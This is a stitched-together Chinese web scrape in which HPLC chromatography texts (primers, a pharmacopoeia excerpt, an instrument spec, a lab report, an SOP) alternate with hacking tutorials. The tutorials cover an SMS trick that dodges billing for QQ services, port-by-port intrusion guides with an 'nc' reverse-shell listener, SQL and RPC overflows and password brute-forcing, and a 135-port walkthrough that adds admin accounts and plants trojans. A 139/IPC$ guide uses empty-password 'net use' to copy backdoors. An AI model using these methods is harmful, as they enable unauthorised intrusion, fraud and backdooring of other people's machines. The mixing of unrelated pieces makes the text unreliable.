GB端口取消法刷钻 -by醉

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以下是刷钻步骤:(黄钻为例子)

方法一:

步骤1. 然后等短信发来

步骤2.来了在把(手机调离线)编辑GB30发送到10666226

步骤3.回复是、再编辑GB30发送到10666226

步骤4.(收件箱俩条短信回复定制一条和短信取消代码一条)

手机调回正常(标准)模式

步骤5.等绑定Q号短信. 没来自己发绑定代码过去.绑定代码网站有

步骤6.绑定成功,就表示刷成功了!没绑定成功就表示失败!这里的离线指的是飞行模式、如果你发短信很快也可以自己发取消回复“是再发取消教程结束

方法二(原创):

声明:扣费以及法律相关的问题与我无关。后果自负,

第一步:发送开通代码开通,

你会收到叫你确认的消息,

第二步:回复“是”确认,但不发送,存草稿,在编辑一条端口取消信息(开通代码后面的取消代码),存草稿,关键来了,回到草稿箱,发送第一条,3秒,在发送第二条,

你会收到2条信息,一条开通,一条取消,

第3步:强制绑定

教程完毕

高效液相色谱法简介

高效液相色谱法简介 “色谱”一词是由俄国科学家斯威特提出的。色谱法是基于补充物质在相对运动物的两相之间分布时,物理或物理化学性质的微小的差异而使混合物相互分离的一类分离或分析方法。发展与上世纪初,飞速发展于五十年代,有超过30位科学家家因为它而获得诺贝尔奖,其有自己的理论和研究方法,同时也有众多的应用领域。 色谱法常见的方法有:柱色谱法、薄层色谱法、气相色谱法、高效液相色谱法等。 柱色谱:柱色谱法是最原始的色谱方法,这种方法将固定相注入下端塞有棉花或滤纸的玻璃管中,将被样品饱和的固定相粉末摊铺在玻璃管顶端,以流动相洗脱。常见的洗脱方式有两种,一种是自上而下依靠溶剂本身的重力洗脱,一种是自下而上依靠毛细作用洗脱。收集分离后的纯净组分也有两种不同的方法,一种方法是在柱尾直接接受流出的溶液,另一种方法是烘干固定相后用机械方法分开各个色带,以合适的溶剂浸泡固定相提取组分分子。柱色谱法被广泛应用于混合物的分离,包括对有机合成产物、天然提取物以及生物大分子的分离。 薄层色谱:薄层色谱法是应用非常广泛的色谱方法,这种色谱方法将固定相图布在金属或玻璃薄板上形成薄层,用毛细管、钢笔或者其他工具将样品点染于薄板一端,之后将点样端浸入流动相中,依靠毛细作用令流动相溶剂沿薄板上行展开样品。薄层色谱法成本低廉操作简单,被用于对样品的粗测、对有机合成反应进程的检测等用途。

气相色谱:GC主要是利用物质的沸点、极性及吸附性质的差异来实现混合物的分离。待分析样品在汽化室汽化后被惰性气体(即载气,也叫流动相)带入色谱柱,柱内含有液体或固体流动相,由于样品中各组分的沸点、极性或吸附性能不同,每种组分都倾向于在流动相和固定相之间形成分配或吸附平衡。但由于载气是流动的,这种平衡实际上很难建立起来。也正是由于载气的流动,使样品组分在运动中进行反复多次的分配或吸附/解吸附,结果是在载气中浓度大的组分先流出色谱柱,而在固定相中分配浓度大的组分后流出。当组分流出色谱柱后,立即进入检测器。检测器能够将样品组分的与否转变为电信号,而电信号的大小与被测组分的量或浓度成正比。当将这些信号放大并记录下来时,就是气相色谱图了。气相色谱被广泛应用于小分子量复杂组分物质的定量分析。 高效液相色谱:高效液相色谱法是在经典色谱法的基础上,引用了气相色谱的理论,在技术上,流动相改为高压输送(最高输送压力可达4.9-107Pa);色谱柱是以特殊的方法用小粒径的填料填充而成,从而使柱效大大高于经典液相色谱(每米塔板数可达几万或几十万);同时柱后连有高灵敏度的检测器,可对流出物进行连续检测。高效液相色谱(HPLC)是目前应用最多的色谱分析方法,高效液相色谱系统由流动相储液体瓶、输液泵、进样器、色谱柱、检测器和记录器组成,其整体组成类似于气相色谱,但是针对其流动相为液体的特点作出很多调整。HPLC的输液泵要求输液量恒定平稳;进样系统要求进样便利切换严密;由于液体流动相粘度远远高于气体,为了减低柱压高效

各个端口的入侵方法(入侵菜鸟必看)

各个端口的入侵方法(入侵菜鸟必看)1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破(字典是关键) 最后SQLTools.exe入侵 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 (以上反向的,测试成功) sqlhelloz.exe 入侵ip 1433 (这个是正向连接) 2. 4899端口入侵 用4899过滤器.exe,扫描空口令的机器 3. 3899的入侵 对很早的机器,可以试试3389的溢出(win3389ex.exe) 对2000的机器,可以试试字典暴破。(tscrack.exe) 4. 80入侵 对sp3以前的机器,可以用webdav入侵; 对bbs论坛,可以试试上传漏洞(upfile.exe或dvup_delphi.exe) 可以利用SQL进行注入。(小榕的注入软件)。 5. serv-u入侵(21端口) 对5. 004及以下系统,可用溢出入侵。(serv5004.exe) 对5.1.0.0及以下系统,可用本地提升权限。(servlocal.exe)

====================================== 对serv-u的MD5加密密码,可以用字典暴破。(crack.vbs) 输入一个被serv-u加密的密码(34位长),通过与字典档(dict.txt)的比较,得到密码。如:cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A 6. 554端口 用real554.exe入侵。 7. 6129端口 用DameWare6129.exe入侵。 8. 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 9. 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)。 10. 其他入侵 利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。 各种端口的入侵方法1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPas*.**e 进行字典暴破(字典是关键) 最后SQLTool*.**e入侵 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。

常用的端口入侵

21端口: 21端口是默认的FTP端口,利用方式:弱口令探测/溢出 目前我还没看到远程溢出的,SERU的本地溢出漏洞风靡一时,曾经很多服务器就在沦丧于这个漏洞。 22端口 22端口是SSH远程登录协议,利用方式:弱口令探测 23端口 23端口是TLENET的默认端口,利用方式:弱口令探测/溢出 一般大家用弱口令探测得比较多,但是成功率比较低,还是溢出来得快,毕竟权限高,想做什么都可以! 25端口 25端口是SMTP协议的默认端口,邮件接收服务器。利用方式:溢出 53端口 53端口是DNS服务的默认端口,提供域名服务器, 利用方式:溢出。这个今年很火,我试了一下,一晚上差不多可以溢出10W台开几抬肉鸡的话 79端口 79端口Finger服务的默认端口(查询远程主机在线用户等信息),可以在辅助入侵中获取更多的主机信息。利用FINGER服务可以查询到主机很多敏感的信息,在入侵的时候常常可以起到意想不到的作用。

80端口 80端口是IIS的默认端口,全球信息网超文本传输协议(www)。利用方式:IIS溢出/SQL注入/旁注/跨站。不过一部分路由器的远程管理端口也是80。SQL注入大家已经很熟悉了吧,IIS溢出也只存在那些很老的机器上,看运气了。 110端口 110端口提供 Pop3 服务。邮件发送服务器。利用方式:溢出。 135端口 135端口提供查询服务。利用方式:IPC$(Internet Process Connection)入侵。 网上教程非常多,不多说了。 137端口 137端口统共NetBIOS 数据报(UDP)服务。 139端口 139端口提供共享资源服务(NetBios-SSN),用在IPC$入侵中。上面这三个端口可以综合利用。 161端口 161端口是远程管理设备(SNMP)的默认端口。这个很多小菜不知道怎么利用,那么重点来说说这个。 SNMP是简单网络管理协议,不清楚百度一下,很多小菜扫描出来了SNMP的弱口令,比如private,public等等,但是不知道怎么利用,这里介绍两款工具:IP NetWork browse 和LANguard NetWork Scnaner,这两个工具都可以扫描SNMP,而且可以扫描到,磁盘,服务,

135端口入侵的方法(简单)

135端口入侵的方法(简单) (1)通过135端口入侵,攻击者首先需要查找网络上存在135端口漏洞的主机地址,在查找此类主机过程中,可以使用一些扫描工具,比如SuperScan就是典型的端口工具之一。在SuperScan“开始”文本框中输入需要扫描的起始地址,然后在“结束”文本框里填写好扫描结束的IP地址,在“扫描类型”选项中选择“所有端口定义”单选按钮,并在右侧的文本框中输入“135”。再点击“开始”按钮即可开始扫描。扫描结束后,在下方的列表中可以查看目标主机打开的端口。然后再点击“Save”按钮选好保存路径,把里面有漏洞的IP整理下即可。 (2)得到有漏洞后,我们还有一个功能强大的扫描工具,比如NTSscn汉化版。然后在“主机文件“处点击“打开”按钮找到我们刚才保存的IP路径,在连接共享$处选择“WMI扫描”,在“扫描打开端口的主机”处填写135端口。最后点击“开始”即可。要不了多久就会有结果显示。 (3)获得漏洞主机用户名以后,我们需要一个开启的工具,那就是Recton v2.5。好了,万事具备之欠那“东风”拉。把刚刚扫描的IP输入TELNET界面的“远程主机”处,以及用户名和密码,不过一般情况下密码都是空。下一步点击“开始执行”按钮等待把TELNET打开吧。打开后按WIN+R输入CMD进入再输入Telnet IP 回车,会提示让你输入用户名,把用户名输入后,回车即可进入主机。而且得到的还是SYSTEM 权限。 下一步就是为我们加了拥有管理员权限的用户,看看我杰作。最后我们可以上传一些远程性木马软件作为后门,比如灰鸽子,冰河等。在这里我就不在展示。我还是喜欢3389端口,那我就给他上传个开启3389的脚本,不过对于开启3389端口的工具网上还真的不少,比如Recton v2.5就有这个功能。好了3389端口已经成功开启大家看我连接的

超高效液相色谱仪技术参数

超高效液相色谱仪技术参数 原装进口 1. 工作条件 1.1 电源:220V,50Hz 1.2 操作环境 15?C-28?C 1.3 湿度:20-80% 2.技术参数 *2.1 二元高压泵结构:四压力传感器,数控直线驱动色谱双泵。四个压力传感器能够准确的监控泵系统的压力,并对泵做出相应调整,保证流量精度的重复性和稳定性。(需在投标文件中提供泵结构示意图予以证明并加盖仪器制造商公章,并标明四压力传感器示意图位置和真实位置)。 2.1.1 泵类型:数控直线驱动色谱双泵 2.1.2 泵输出压力:≥20000 psi *2.1.3 泵驱动马达:≥4 2.1.4 柱塞杆与马达联接方式:刚性直连 *2.1.5 泵压力传感器数量:≥4 2.1.6 1-4路溶剂任意混合 2.1.7可配内置溶剂选择阀,扩展到9路溶剂 #2.1.8 真空脱气:六通道在线真空脱气机 #2.1.9 流量:最小流量范围≥0.0100,最大流量范围≤2.000mL/min,以0.001mL/min 为增量 *2.1.10 最大操作压力:≥17,800psi(须提供厂家英文官方原版指标及应用证明文件,并加盖仪器制造商公章。 #2.1.11 梯度模式:线性、步进、凹线、凸线四种类型 2.1.12 柱塞清洗:自动,可编程 2.1.13 流量精度:+/-0.02min SD,(全流速范围内),不随反压变化 2.1.14 流速准确度:±1.0% 2.1.15 梯度准确度:± 0.5%,不随反压变化 2.1.16 梯度精度:±0.15%RSD,不随反压变化

#2.1.17缓冲盐浓度和pH值调节:自动配置缓冲盐浓度和自动调节pH值2.1.17.1配置方式:自动比例混合 2.1.17.2计算方式:梯度曲线 2.1.17.3 pH精度: ±0.01 2.2 自动进样器系统 2.2.1密封在线针进样 2.2.2 耐压: 18,000psi 2.2.3 进样模式:任意体积直接注射进样 2.2.4 样品瓶数:≥90 位 2.2.5 进样精度:<0.3%RSD #2.2.6 样品交叉污染度:<0.001% 2.2.7 进样体积:0.1-50μL,以 0.1μL 为增量 2.2.8 进样线性度:>0.999 2.2.9 自动进样循环时间:<30 秒 2.3 柱温箱及色谱柱 2.3.1 温度范围:室温以上 5℃-90℃,增量:0.1℃ 2.3.2加热方式:电加热 2.3.3 预热方式:主动式 2.3.4 色谱柱颗粒度:≤1.7 um 2.3.5 色谱柱与柱温箱上带有使用信息记录装置 2.4紫外/可见光检测器 *2.4.1波长范围:190~700nm 2.4.2波长准确度:±1nm 2.4.3测量范围:0.0001~4.0000AUFS 2.4.4基线噪音:6.0×10-6 AU, 2.4.5基线漂移: ≤5.0x10-4AU/hr/℃ 2.4.6线性范围:2.5AU 2.4.7吸收范围:0.0001 to 4.0000 AUFS 2.4.8光源:氘灯,寿命2000小时

常用黑客工具(网络入侵工具)

常用黑客工具(网络入侵工具) 一、扫描工具 X-scan 3.1 焦点出的扫描器,国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具,有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011 远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”,无需安装,非常小巧(仅23KB),具有极快的扫描速度! WebDAVScan v1.0 针对WEBDA V漏洞的扫描工具! 注意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 二、远程控制

通则0512高效液相色谱法

高效液相色谱法: 系采用高压输液泵将规定的流动相泵入装有填充剂的色谱柱,对供试品进行分离测定的色谱方法。 注入的供试品,由流动相带入色谱柱内,各组分在柱内被分离,并进入检测器检测, 由积分仪或数据处理系统记录和处理色谱信号。 1.对仪器的一般要求和色谱条件 高效液相色谱仪由高压输液泵、进样器、色谱柱、检测器、积分仪或数据处理系统组成。 色谱柱内径一般为3.9~4.6mm,填充剂粒径为3~10μm。 超高液相色谱仪:是适应小粒径(约2μm)填充剂的耐超高压、小进样量、低死体积、 高灵敏度检测的高效液相色谱仪。 (1)色谱柱 反相色谱柱: 以键和非极性基团的载体为填充剂填充而成的色谱柱。常见的载体有硅胶、聚合物复合硅胶和聚合物等;常用的填充剂优十八烷基硅烷键合硅胶、辛基硅烷键合硅胶和苯基键合硅胶等。 正相色谱柱: 用硅胶填充剂,或键合极性基团的硅胶填充而成的色谱柱。常见的填充剂有硅胶、氨基键合硅胶 和氰基键合硅胶等。氨基键合硅胶和氰基键合硅胶也可用作反向色谱。 离子交换色谱柱:用离子交换填充剂填充而成的色谱柱。有阳离子交换色谱柱和阴离子交换色谱柱。 手性分离色谱柱:用手性填充剂填充而成的色谱柱。

色谱柱的内径和长度,填充剂的形状、粒径与粒径分布、孔径、表面积、键合基团的表面覆盖度、载体表面基团残留量,填充的致密与均匀程度等均影响色谱柱的性能,应根据被分离物质的性质来选择合适的色谱柱。 温度会影响分离效果,品种正文中未指明色谱柱温度时系指室温,应注意室温变化的影响。为改善分离效果可适当提高色谱柱的温度,但一般不宜超过60℃。 残余硅羟基未封闭的硅胶色谱柱,流动相的pH值一般应在2~8之间。残余硅羟基已封闭的硅胶、聚合物复合硅胶或聚合物色谱柱可耐受更广泛pH值的流动相,适合于pH值小于2或大于8的流动相。 (2)检测器 最常用的检测器为紫外-可见分光检测器,包括二极管阵列检测器, 其他常见的检测器有荧光检测器、蒸发光散射检测器、示差折光检测器、电化学检测器和质谱检测器等。 紫外-可见分光检测器、荧光检测器、电化学检测器为选择性检测器, 其响应值不仅与被测物质的量有关,还与其结构有关; 蒸发光散射检测器和示差折光检测器为通用型检测器, 对所有物质均有响应,结构相似的物质在蒸发光散射检测器的响应值几乎仅与被测物质的量有关。 紫外-可见分光检测器、荧光检测器、电化学检测器和示差折光检测器的响应值与被测物质的量在一 定范围内呈线性关系, 但蒸发光散射检测器的响应值与被测物质的量通常呈指数关系,一般需经对数转换。 不同的检测器,对流动相的要求不同。 紫外-可见分光检测器所用流动相应符合紫外-可见分光光度法(通则0401)项下对溶剂的要求; 采用低波长检测时,还应考虑有机溶剂的截止使用波长,并选用色谱级有机溶剂。 蒸发光散射检测器和质谱检测器不得使用含不挥发性盐的流动相。 (3)流动相

黑客常用的几种入侵端口的方法

【托管服务qin】黑客常用的几种入侵端口的方法 服务器托管, BGP, 光钎专线, 防火墙, 新一代IDC 工欲善其事,必先利其器,本文简单介绍目前黑客最常使用的一些入 侵工具及防御的方法,希望能对大家有所帮助,以助于大家能更好地防御黑客的攻击。" ^' D( E3 K! N) ^! c 1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPass.exe 进行字典暴破(字典是关键)7 L5 a9 T" E: C& x' k* C 最后SQLTools.exe入侵4 r+ F" q g9 j- K9 m* x4 o' E =============================2 z0 ~3 T) K5 n8 W; Z 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 (以上反向的,测试成功)) Q) Q7 K+ L! J$ o6 Z9 w( a sqlhelloz.exe 入侵ip 1433 (这个是正向连接)% J3 L6 x8 y: t; p 2. 4899端口入侵9 `" f0 r# k2 ^: F 用4899过滤器。exe,扫描空口令的机器 3. 3899的入侵 对很早的机器,可以试试3389的溢出(win3389ex.exe) 对2000的机器,可以试试字典暴破。(tscrack.exe)* X8 }: O! |2 }& x7 M 4. 80入侵+ J9 [0 L4 _) B! K 对sp3以前的机器,可以用webdav入侵;

高效液相色谱法(HPLC)的概述

此帖与GC版的对应,是为了让大家更好的学习和了解LC 主要内容包括: 1.高效液相色谱法(HPLC)的概述 2. 高效液相色谱基础知识介绍(1——13楼) 3. 高压液相色谱HPLC发展概况、特点与分类 4. 液相色谱的适用性 5.应用 高效液相色谱法(HPLC)的概述 以高压液体为流动相的液相色谱分析法称高效液相色谱法(HPLC)。其基本方法是用高压泵将具有一定极性的单一溶剂或不同比例的混合溶剂泵入装有填充剂的色谱柱,经进样阀注入的样品被流动相带入色谱柱内进行分离后依次进入检测器,由记录仪、积分仪或数据处理系统记录色信号或进行数据处理而得到分析结果。 由于高效液相色谱法具有分离效能高、选择性好、灵敏度高、分析速度快、适用范围广(样品不需气化,只需制成溶液即可)、色谱柱可反复使用的特点,在《中国药典》中有5 0种中成药的定量分析采用该法,已成为中药制剂含量测定最常用的分析方法。 高效液相色谱法按固定相不同可分为液-液色谱法和液-固色谱法;按色谱原理不同可分为分配色谱法(液-液色谱)和吸附色谱法(液-固色谱)等。 目前,化学键合相色谱应用最为广泛,它是在液-液色谱法的基础上发展起来的。将固定液的官能团键合在载体上,形成的固定相称为化学键合相,不易流失是其特点,一般认为有分配与吸附两种功能,常以分配作用为主。C18(ODS)为最常使用的化学键合相。 根据固定相与流动相极性的不同,液-液色谱法又可分为正相色谱法和反相色谱法,当流动相的极性小于固定相的极性时称正相色谱法,主要用于极性物质的分离分析;当流动相

的极性大于固定相的极性时称反相色谱法,主要用于非极性物质或中等极性物质的分离分析。 在中药制剂分析中,大多采用反相键合相色谱法。 系统组成: (一)高压输液系统 由贮液罐、脱气装置、高压输液泵、过滤器、梯度洗脱装置等组成。 1.贮液罐 由玻璃、不锈钢或氟塑料等耐腐蚀材料制成。贮液罐的放置位置要高于泵体,以保持输液静压差,使用过程应密闭,以防止因蒸发引起流动相组成改变,还可防止气体进入。2.流动相 流动相常用甲醇-水或乙腈-水为底剂的溶剂系统。 流动相在使用前必须脱气,否则很易在系统的低压部分逸出气泡,气泡的出现不仅影响柱分离效率,还会影响检测器的灵敏度甚至不能正常工作。脱气的方法有加热回流法、抽真空脱气法、超声脱气法和在线真空脱气法等。 3.高压输液泵 是高效液相色谱仪的关键部件之一,用以完成流动相的输送任务。对泵的要求是:耐腐蚀、耐高压、无脉冲、输出流量范围宽、流速恒定,且泵体易于清洗和维修。高压输液泵可分为恒压泵和恒流泵两类,常使用恒流泵(其压力随系统阻力改变而流量不变)。 (二)进样系统 常用六通阀进样器进样,进样量由定量环确定。操作时先将进样器手柄置于采样位置(L OAD),此时进样口只与定量环接通,处于常压状态,用微量注射器(体积应大于定量环体积)注入样品溶液,样品停留在定量环中。然后转动手柄至进样位置(INJECT),使定量环接入输液管路,样品由高压流动相带入色谱柱中。 (三)色谱柱 由柱管和填充剂组成。柱管多用不锈钢制成。柱内填充剂有硅胶和化学键合固定相。在化学键合固定相中有十八烷基硅烷键合硅胶(又称ODS柱或C18柱)、辛烷基硅烷键合硅

色谱分析(中国药科大学)超高效液相色谱(UPLC)

超高效液相色谱(UPLC) 超高效液相色谱技术(ultra performance liquid chcromatography,简称UPLC)是一种综合了小颗粒填料、非常低系统体积(死体积)及快速检测手段等全新的检测技术。在全面提升HPLC的速度、灵敏度及分离度的同时,保留其原有的实用性及原理。基于小颗粒技术的UPLC,并非普通HPLC系统改进而成。它不但需要耐压、稳定的小颗粒填料(可达1.7μm),而且需要耐压的色谱系统(>15,000psi)、最低交叉污染的快速进样器、快速检测器及优化的系统体积等诸多方面的保障,以充分发挥小颗粒技术优势。这就需要对系统所有硬件和软件的进行全面创新。世界第一个商品化UPLC产品是Waters ACQUITY UPLC TM超高效液相色谱系统,它于2004年3月投入市场。 图1:填料技术的沿革 1.小颗粒填料改善分离的理论与科学基础 液相色谱30年的发展史是颗粒技术的发展史。颗粒大小的改变直接影响到柱效,从而对分离结果产生直接影响。由上图可知:随着颗粒度的不断降低,色谱分

离度不断提高。事实上,上述规律的理论基础是著名的Van Deemeter方程。Van Deemeter方程是色谱科学家预测颗粒度变化而引起的色谱变化的根本依据。Van Deemeter曲线(见图2)预测最佳柱效与相应的流动相流速。由Van Deemeter方程得知:随着颗粒度减小,相应的理论塔板高度(HETP)也下降,得到的柱效会更高。还应该注意到1.7 μm颗粒的HETP最小值区域扩大了(见图2),这表明可以在比大颗粒更宽的流量范围内得到最高的柱效,结果可以不损失高分离度的同时来适当提高流动相的流速(分析速度)。小颗粒填料为色谱分离带来如此的高柱效和速度优势,使得利用小颗粒技术成为色谱科学家梦寐以求的目标。然而HPLC系统的设计,一直难于发挥出最小颗粒的优点。小颗粒技术的运用,不但要求仪器在超出目前限度(6000 psi/ 400 bar)的压力下工作,同时要求仪器系统的死体积要更小,以便不影响梯度性能,而且还要检测器能高速检测出峰宽只有几秒的色谱峰。 在利用杂化颗粒技术合成出耐压的新一代小颗粒色谱填料之后,UPLC超高效液相色谱系统的设计,充分利用了小颗粒填料的所有优点,弥补传统HPLC系统的不足。

高效液相色谱(HPLC)柱效测定

实验六高效液相色谱(HPLC)柱效测定 093858 张亚辉 一. 实验目的 1、学习高效液相色谱仪的基本操作方法。 2、了解高效液相色谱仪原理和条件设定方法。 3、了解高效液相色谱法在日常分析中的应用。 二. 实验原理 高效液相色谱法是以液体作为流动相,借助于高压输液泵获得相对较高流速的液流以提高分离速度、并采用颗粒极细的高效固定相制成的色谱柱进行分离和分析的一种色谱方法。 在高效液相色谱中,若采用非极性固定相,如十八烷基键合相,极性流动相,即构成反相色谱分离系统。反之,则称为正相色谱分离系统。反相色谱系统所使用的流动相成本较低,应用也更为广泛。 定量分析时,为便于准确测量,要求定量峰与其他峰或内标峰之间有较好的分离度。分离度(R)的计算公式为: R= 2[t(R2)-t(R1)] /1.7*(W1+W2) 式中 t(R2)为相邻两峰中后一峰的保留时间; t(R1)为相邻两峰中前一峰的保留时间; W1及W2为此相邻两峰的半峰宽。除另外有规定外,分离度应大于1.5。 本实验对象为邻苯二甲酸酯,又称酞酸酯,缩写PAE,常被用作塑料增塑剂。它被普遍应用于玩具、食品包装材料、医用血袋和胶管、乙烯地板和壁纸、清洁剂、润滑油、个人护理用品,如指甲油、头发喷雾剂、香皂和洗发液等数百种产品中。但研究表明,邻苯二甲酸酯在人体和动物体内发挥着类似雌性激素的作用,是一类内分泌干扰物。待测物性质见表1。 表1色谱柱测试条件

如果要检测不同条件对谱图分离的影响,可按表1配制几种物质的混合溶液,在不同条件下进行HPLC分离检测。 三.仪器与试剂 1、仪器 Agilent 1100高效液相色谱仪,50ul微量注射器。 2、试剂 甲醇(色谱专用),高纯水 四. 实验步骤 1、色谱条件 色谱柱:辛烷基硅烷键合硅胶(C8) 柱温:室温 流动相:初始为高纯水:20%,甲醇:80% 检测器:DAD检测器; 检测波长:220nm; 进样体积:20μl定量环,实际注射每次可控制在40μl。 2、待测溶液的配制 首先用甲醇做溶剂配制储备液:邻苯二甲酸二甲酯(0.3880g/L),邻苯二甲酸二乙酯(0.2770g/L),邻苯二甲酸二丁酯(0.3776g/L)。然后各取1mL储备液用水和甲醇(20:80)稀释至10mL,作为待测溶液。 3、色谱测定 (1) 按操作规程开启电脑,开启脱气机、泵、检测器等的电源,启动Agilent 1100在线工作软件,设定操作条件。流量为1.000ml/min。 (2) 待仪器稳定后,开始进样。将进样阀柄置于“LOAD”位置,用微量注射器吸取混合物溶液40ul,注入仪器进样口,顺时针方向扳动进样阀至“INJECT”位置,此时显示屏显示进样标志。 (3) 记下各组分色谱峰的保留时间及峰面积及分离比。 (4) 实验完毕,清洗系统及色谱柱。依次用甲醇-水(60:40)、甲醇-水(70:30)……直到纯甲醇作流动相清洗,每次清洗至基线走稳,至少清洗15min。 五.实验结果

139端口入侵简易教程

139端口入侵简易教程; net use \\192.168.0.1\ipc$ "" /user:administrator 提到139端口,我想知道的人一定非常多,本来是不想用写这个教程的,但考虑要照顾到新人,所以还是简单的写一下。 首先,连接的命令是: net<空格>use<空格>\\IP地址\ipc$<空格>密码<空格>/user:用户名 假设我要连接的目标IP地址是:192.168.1.11,用户名是google,使用的密码是123456,那么连接对方139端口通道的格式就是这样的: net use \\192.168.1.11\ipc$ 123456 /user:google 如果连接成功,那么系统会提示"命令成功完成"! 空密码是这样的: 如果密码是空的,那就在原先输入密码的地方以""代替。 开始查看权限: 查看登录后用户权限的方法很简单,只要给目标系统传个文件就可以了,如果传诵成功,那么一般都是系统管理员权限了,如果不成功可能就是来访者权限或者其他用户组的。命令的格式是这样的: copy<>文件绝对路径<>\\IP地址\文件目标路径 比如我要将本地C盘下的a.exe文件拷贝到192.168.1.11的D盘下: copy c:\a.exe \\192.168.1.11\d$ 要注意"$"符,那是隐藏共享盘的表示符,如果对方的共享盘不是隐藏的,就不需要"$"符了。如果命令执行成功,系统同样会提示"已复制1 个文件" 小技巧: 再次复制相同文件至相同路径,以检测是否存在杀毒软件!!! 如果系统提示“改写\\192.168.1.11\d$\a.exe 吗? (Yes/No/All):”则说明文件在还在目标系统上,没有被杀毒软件查杀(一般发送过去的都是后门程序只类的东西,只有系统安装了杀毒软件都会被杀掉)。如果没有提示,则说明安装了杀毒软件。

高效液相色谱测定法标准操作规程

标准操作规程 1目的:建立高效液相色谱测定法操作规程,以使检验操作规化。 2适用围:适用于高效液相色谱测定法检验操作全过程。 3责任:QC人员对本SOP实施负责。 4容 高效液相色谱法系采用高压输液泵将规定的流动相泵入装有填充剂的色谱柱,对供试品进行分离测定的色谱方法。注入的供试品,由流动相带入色谱柱,各组分在柱被分离,并进入检测器检测,由积分仪或数据处理系统记录和处理色谱信号。 4.1.对仪器的一般要求和色谱条件 高效液相色谱仪由高压输液泵、进样器、色谱柱、检测器、积分仪或数据处理系统组成。色谱柱径一般为3.9~4.6mm,填充剂粒径为3~10μm。超高效液相色谱仪是适应小粒径(约2μm)填充剂的耐超高压、小进样量、低死体积、高灵敏度检测的高效液相色谱仪。 4.1.1.色谱柱 反相色谱柱:以键合非极性基团的载体为填充剂填充而成的色谱柱。常见的载体有硅胶、聚合物复合硅胶和聚合物等;常用的填充剂有十八烷基硅烷键合硅胶、辛基硅烷键合硅胶和苯基键合硅胶等。 正相色谱柱:用硅胶填充剂,或键合极性基团的硅胶填充而成的色谱柱。常用的填充剂有硅胶、氨基键合硅胶和氰基键合硅胶等。氨基键合硅胶和氰基键合硅胶也可用作反相色谱。离子交换色谱柱:用离子交换填充剂填充而成的色谱柱。有阳离子交换色谱柱和阴离子交换色谱柱。 手性分离色谱柱:用手性填充剂填充而成的色谱柱。 色谱柱的径与长度,填充剂的形状、粒径与粒径分布、孔径、表面积、键合基团的表面覆盖度、载体表面基团残留量,填充的致密与均匀程度等均影响色谱柱的性能,应根据被分

离物质的性质来选择合适的色谱柱。 温度会影响分离效果,品种正文中未指明色谱柱温度时系指室温,应注意室温变化的影响。为改善分离效果可适当提高色谱柱的温度,但一般不宜超过60℃。 残余硅羟基未封闭的硅胶色谱柱,流动相pH值一般应在 2?8之间。残余硅羟基已封闭的硅胶、聚合物复合硅胶或聚合物色谱柱可耐受更广泛pH值的流动相,适合于pH 值小于2或大于8 的流动相。 4.1.2.检测器 最常用的检测器为紫外-可见分光检测器,包括二极管阵列检测器,其他常见的检测器有荧光检测器、蒸发光散射检测器、示差折光检测器、电化学检测器和质谱检测器等。 紫外-可见分光检测器、荧光检测器、电化学检测器为选择性检测器,其响应值不仅与被测物质的量有关,还与其结构有关;蒸发光散射检测器和示差折光检测器为通用检测器,对所有物质均有响应。结构相似的物质在蒸发光散射检测器的响应值几乎仅与被测物质的量有关。 紫外-可见分光检测器、荧光检测器、电化学检测器和示差折光检测器的响应值与被测物质的量在一定围呈线性关系,但蒸发光散射检测器的响应值与被测物质的量通常呈指数关系,一般需经对数转换。 不同的检测器,对流动相的要求不同。紫外-可见分光检测器所用流动相应符合紫外-可见分光光度法(通则0401)项下对溶剂的要求;采用低波长检测时,还应考虑有机溶剂的截止使用波长,并选用色谱级有机溶剂。蒸发光散射检测器和质谱检测器不得使用含不挥发性盐的流动相。 4.1.3.流动相 反相色谱系统的流动相常用甲醇-水系统和乙腈-水系统,用紫外末端波长检测时,宜选用乙腈-水系统。流动相中应尽可能不用缓冲盐,如需用时,应尽可能使用低浓度缓冲盐。用十八烷基硅烷键合硅胶色谱柱时,流动相中有机溶剂一般不低于5%,否则易导致柱效下降、色谱系统不稳定。 正相色谱系统的流动相常用两种或两种以上的有机溶剂,如二氯甲烷和正己烷等。 品种正文项下规定的条件除填充剂种类、流动相组分、检测器类型不得改变外,其余如色谱柱径与长度、填充剂粒径、流动相流速、流动相组分比例、柱温、进样量、检测器灵敏度等,均可适当改变,以达到系统适用性试验的要求。调整流动相组分比例时,当小比例组分的百分比例X小于等于33%时,允许改变围为0.7X?1.3X;当X大于33%时,允许改变围为X—10%?X+10% 。

高效液相色谱法的计算方法

